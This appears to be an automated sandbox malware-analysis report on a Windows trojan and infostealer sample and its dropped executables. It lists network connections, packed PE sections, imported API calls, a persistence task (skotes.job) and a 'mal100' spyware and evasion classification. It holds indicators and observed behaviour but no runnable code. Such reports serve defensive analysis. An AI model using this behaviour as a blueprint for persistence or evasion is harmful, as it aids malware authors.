Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.5:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.75:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.82.9:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.82.9:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50089 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Code function: 30_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

30_2_0040573B

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name:
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name:
Source: skotes.exe.25.dr	Static PE information: section name: .idata
Source: skotes.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Code function: 30_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

30_2_00403552

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C5E530	28_2_00C5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C978BB	28_2_00C978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C97049	28_2_00C97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C98860	28_2_00C98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C54DE0	28_2_00C54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C931A8	28_2_00C931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C92D10	28_2_00C92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C9779B	28_2_00C9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C54B30	28_2_00C54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00C87F36	28_2_00C87F36
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_00406DE6	30_2_00406DE6
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_004075BD	30_2_004075BD

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2714601718.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: eyhsvkkq ZLIB complexity 0.9946395648967552
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983608651226158
Source: random[1].exe.0.dr	Static PE information: Section: hpiiigzq ZLIB complexity 0.9946063424214417
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983608651226158
Source: DocumentsGCFIIEBKEG.exe.0.dr	Static PE information: Section: hpiiigzq ZLIB complexity 0.9946063424214417
Source: skotes.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9983608651226158
Source: skotes.exe.25.dr	Static PE information: Section: hpiiigzq ZLIB complexity 0.9946063424214417

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/299@24/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

30_2_00403552

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Code function: 30_2_004049E7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

30_2_004049E7

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Code function: 30_2_004021CF CoCreateInstance,

30_2_004021CF

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MX7LH2MY.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
